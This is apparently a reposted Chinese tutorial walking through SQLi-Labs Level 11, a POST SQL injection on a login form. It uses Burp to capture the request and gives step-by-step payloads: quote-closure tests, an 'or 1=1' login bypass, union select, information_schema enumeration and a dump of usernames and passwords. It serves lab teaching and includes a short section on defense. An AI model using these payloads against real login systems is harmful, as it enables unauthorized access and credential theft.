文章总结: 本文解析SQLi-Labs第11关POST注入实战,阐述其与GET注入差异及登录场景风险。文章演示了利用Burp抓包、识别单引号闭合、通过unionselect提取数据的完整流程,并指出缺乏参数化处理等防御缺陷,帮助读者掌握从GET到POST的注入思维跨越。 综合评分: 88 文章分类: WEB安全,渗透测试,实战经验
SQL注入实战:从GET到POST的思维跨越 – sqli-labs第11关深度解析
原创
武文学网安
武文学网安
2026年1月5日 03:42 西藏
大家好,我是武文。 在前面的学习中,我们已经从 URL 参数中的 GET 注入,一步步走到了 UNION、布尔盲注等基础阶段。
而从第 11 关开始,SQL 注入正式进入 “真实 Web 场景”: 👉 参数不再出现在 URL 中 👉 注入点隐藏在 POST 请求体 👉 攻击目标从“查询数据”变成“绕过登录”
第 11 关,是 SQL 注入学习者必须跨越的一道门槛。
一、理论篇:POST注入的本质与特殊性
1.1 POST注入与GET注入的核心差异
在sqli-labs的前10关中,我们主要与GET型注入打交道。注入参数都是在url中,如:
http://localhost:8080/Less-4/?id=-1") union select 1,2,3 --+
而11关引入的POST注入,参数隐藏在http请求体中:
GET POST关键区别:
| | | | | — | — | — | | 特性 | GET注入 | POST注入 | | 参数位置 | URL查询字符串 | HTTP请求体 | | 可见性 | 浏览器地址可见 | 不可见,需抓包 | | 长度限制 | 受URL长度限制(约2048字符) | 理论上无限制 |
正因为 POST 参数隐藏在请求体中,大量开发者在测试时忽略了对其进行安全检查,这也是 POST 型 SQL 注入在真实环境中更隐蔽、更危险的原因。
1.2 POST注入的典型场景
POST注入通常出现在:
- 登录表单 – 用户名/密码字段
- 搜索框 – 特别是高级搜索
- 用户注册 – 多字段提交
- 评论/留言 – 内容提交
- 文件上传 – 文件描述等字段
第11关模拟的是登录框场景,这是Web应用中最常见也最危险的注入点之一。
1.3 登录框注入的特殊性
下面是一个比较典型的登录查询语句
-- 典型的登录查询语句SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
当注入发生在登录框时,我们有可能:
- 绕过身份验证
- 提取用户凭证
- 获取管理员权限
- 登录任意账户
在真实业务中,一旦登录接口存在 SQL 注入漏洞,攻击者往往无需脱库,仅通过构造逻辑条件即可直接登录管理员账户。
二、实战篇:第11关完整攻击流程
2.1 环境准备与工具配置
环境要求:
- sqli-labs 环境(自己随便搭建,虚拟机或docker均可)
- Burp Suite Community Edition (用于捕获数据包并修改对应数据,也可用其他的工具,如hackbar,tamper-data等)
- 浏览器(Chrome/Firefox)
burp Suite安装和使用教程在这里可以看到:https://t0data.gitbooks.io/burpsuite/content/chapter1.html
代理建议选择proxy SwtichyOmega插件。配置如下即可:
在使用代理的时候有个注意点,我们的靶场环境部署在本地,访问靶场时不能用localhost或者127.0.0.1来访问靶场,会报错。需要用本机ip地址来,具体ip地址可通过ipconfig或者ifconfig命令查看。
2.2 第一阶段:信息收集与注入点识别
步骤1:访问目标页面
我们看到一个登录页面。
步骤2:使用Burp抓取请求
- 开启Burp拦截(Intercept on)
- 在登录框输入测试数据:
- Username:
test - Password:
test
- 点击Submit
4.在burpsuite中点击forward,这一步表示将拦截到的请求发送到目标服务器。
5.选中刚刚拦截的地址,发送到Repeater中,我们需要在这里更改我们的POST请求内容。
捕获的原始请求如下:
POST /Less-11/ HTTP/1.1Host: 192.168.68.172:8080Content-Length: 36Cache-Control: max-age=0Origin: http://192.168.68.172:8080Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.68.172:8080/Less-11/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive
uname=test&passwd=test&submit=Submit
其中第15行就是我们刚刚在登录界面所输入的内容:test和test。
步骤3:初步测试注入点
在Burp Repeater中修改请求,测试两个字段:
uname=test'&passwd=testuname=test&passwd=test'
观察响应:如果出现SQL错误,说明存在注入点。
可以从右边的Response看出来出现了错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”test” LIMIT 0,1′ at line 1
可以证明当前页面存在注入点。
2.3 第二阶段:确定注入类型与闭合方式
步骤4:错误信息分析
发送payload后,观察返回的错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”test” LIMIT 0,1′ at line 1
关键信息分析:
''test''– 说明我们的输入被两个单引号包裹
查询可能是:
- “` SELECT … WHERE username='[输入]’ AND password='[输入]’ LIMIT 0,1
#### 步骤5:验证闭合方式
测试不同的闭合组合:
**测试1:单引号闭合,双引号闭合**
uname=test’&passwd=testuname=test”&passwd=test
这一步可以确认我们的输入是在单引号还是双引号里。

单引号报错,因为我们引起了SQL语法错误。双引号不报错,说明双引号在两个单引号中间被当成字符处理了,没有引入SQL错误。
可以得出结论闭合方式为单引号闭合。
**测试2:注释符选择**
**在确认闭合方式后,必须测试注释符是否可用,因为只有成功注释掉后半条 SQL 语句,注入语句才能完整执行。**
* `--`(注意空格)
* `--+`
* `#`(URL编码为%23)
uname=test’ — &passwd=testuname=test’ –+&passwd=testuname=test’ #&passwd=testuname=test’%23&passwd=test
确认了闭合方式,我们再确认有哪些注释符生效,谁能不报错,说明哪个注释符就有效。

经过测试,`-- 、#、%23
均为有效注释符`
### 2.4 第三阶段:探测与利用
#### 步骤6:确定是否有显示位
#### **测试1:绕过**登录验证
uname=test’ or 1=1 #

#### 通过构造条件为真的语句,可以发现,成功登录时界面显示:
#### Your Login Name:Dumb
#### Your Password:Dumb
#### 👉 **登录成功,注入可被稳定利用。**
#### 测试2:确定查询位列数
#### 按照前面学习get注入时的经验,我们需要先确定查询位列数:
uname=test’ order by 1 #uname=test’ order by 2 #uname=test’ order by 3 #一直测试到足够多

#### 我们看到在测试到3时报错,说明查询共两列。
#### 步骤7:确定显示位
#### 在上一节中,我们已经确认查询列数为 **2 列**,接下来需要确认 **哪一列的数据会被显示到页面中**。
uname=test’ union select 1,2 #

#### 通过测试,我们可以从页面中显示我们想要的数据1,2。说明这两个都是我们的显示位,后续所有敏感数据需放在该列中读取。我们选2作为我们读取数据的显示位。
### 步骤8:获取当前数据库名
确认显示位后,我们先获取当前数据库名称:
uname=test’ union select 1,database() #

### 步骤9:枚举数据表
接下来通过 `information_schema` 枚举当前数据库中的表名:
uname=test’ union select 1,groupconcat(tablename)from informationschema.tableswhere tableschema=database() #

#### 页面返回当前数据库表:emails、referers、uagent、users
### 步骤10:枚举字段名
选择最有价值的 `users` 表,枚举其字段:
uname=test’ union select 1,groupconcat(columnname)from informationschema.columnswhere tablename=’users’ #

### 返回结果users表中包含了:id、username、password字段
### 步骤11:读取用户数据(脱库)
最后,读取用户表中的账号和密码信息:
uname=test’ union select 1,group_concat(username,0x3a,password)from users # “`
页面成功回显。至此我们已经完成了以此完整的POST型UNION SQL注入攻击流程。
三、防御视角:第 11 关暴露了什么问题?
从防御角度看,本关至少存在以下问题:
- 用户输入未进行参数化处理
- SQL 语句直接拼接用户输入
- 错误信息直接回显到页面
- 登录逻辑缺乏最基本的安全校验
任何一个点被修复,本关攻击都会失败。
四、写在最后
第 11 关并不是在考察复杂语法,而是在训练一种思维:
当参数被隐藏时,你是否还能找到它? 当页面是登录框时,你是否还能完成注入?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安《SQL注入实战:从GET到POST的思维跨越 – sqli-labs第11关深度解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论